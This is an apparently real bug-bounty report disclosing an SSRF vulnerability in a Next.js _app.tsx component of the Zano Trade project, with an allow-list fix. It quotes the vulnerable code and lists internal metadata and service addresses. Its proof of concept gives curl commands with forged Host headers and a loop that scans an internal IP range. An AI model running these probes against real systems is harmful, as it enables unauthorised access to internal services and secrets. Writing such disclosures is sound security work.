#47728 [W&A-Critical] Server-Side Request Forgery (SSRF) Vulnerability in Next.js _app.tsx component

Submitted on Jun 19th 2025 at 10:12:31 UTC by @Opzteam for IOP | Zano Trade

  • Report ID: #47728

  • Report Type: Websites & Apps

  • Report severity: Critical

  • Target: https://github.com/PRavaga/zano-p2p/tree/master/src/pages/dex

  • Impacts:

    • Retrieve sensitive data/files from a running server, such as:

  • /etc/shadow

  • database passwords

  • blockchain keys (this does not include non-sensitive environment variables, open source code, or usernames)

Description

  • The application contains a critical Server-Side Request Forgery (SSRF) vulnerability in the Next.js _app.tsx component where the incoming Host header is used directly to construct internal API requests without any validation or sanitization. This allows attackers to manipulate the Host header to force the server to make arbitrary HTTP requests to internal services, external systems, or localhost endpoints. If exploited, attackers could access internal services, bypass network security controls, exfiltrate sensitive data, or launch attacks against internal infrastructure components.

  • The vulnerability exists in the getInitialProps function of the main application component at src/pages/_app.tsx:

App.getInitialProps = async (context: any) => {
    try {
        const pageProps = await NextApp.getInitialProps(context);
        if (!context.ctx.req) return pageProps;
    
        const host = context.ctx.req.headers.host;  //  Unvalidated user input
        const configData = await fetch(`http://${host}/api/config`)  //  Direct usage in URL construction
        .then(res => res.json()) as GetConfigRes;
    
        return { 
            ...pageProps,
            config: configData.data 
        };
    } catch (error) {
        console.log(`Unable to fetch config data from http://${context?.ctx?.req?.headers?.host}/api/config`);  //  Error message leaks attempted URL
        console.log(error);   

        return await NextApp.getInitialProps(context);
    }
}
  • The host header from incoming requests is used directly without any validation, normalization, or allow-listing.

  • Attackers can probe and access internal services that should not be reachable from external networks:

  • Possible Internal Infrastructure:

http://localhost:8080/admin - Internal admin panels http://127.0.0.1:6379/ - Redis instances http://internal-db:5432/ - Database management interfaces http://metadata.google.internal/ - Cloud metadata services (on GCP) http://169.254.169.254/ - AWS metadata services

Proof of Concept

Proof of Concept

# Attacker crafts request with malicious Host header
curl -H "Host: internal-admin.local" https://victim-app.com/

# Server attempts to fetch: http://internal-admin.local/api/config
# Potentially exposing internal administrative interfaces


# Scan internal IP range
for ip in {1..254}; do
  curl -H "Host: 192.168.1.$ip:8080" https://victim-app.com/ &
done

# Each request attempts: http://192.168.1.X:8080/api/config
# Reveals active internal services through response timing/content
  • To fix the issue:

  • Implement Host Header Validation:

   const allowedHosts = [
     'trade.zano.org',
     'localhost:3000',
     process.env.ALLOWED_HOST
   ].filter(Boolean);
   
   const host = context.ctx.req.headers.host;
   if (!allowedHosts.includes(host)) {
     console.error(`Invalid host header: ${host}`);
     return await NextApp.getInitialProps(context);
   }

Was this helpful?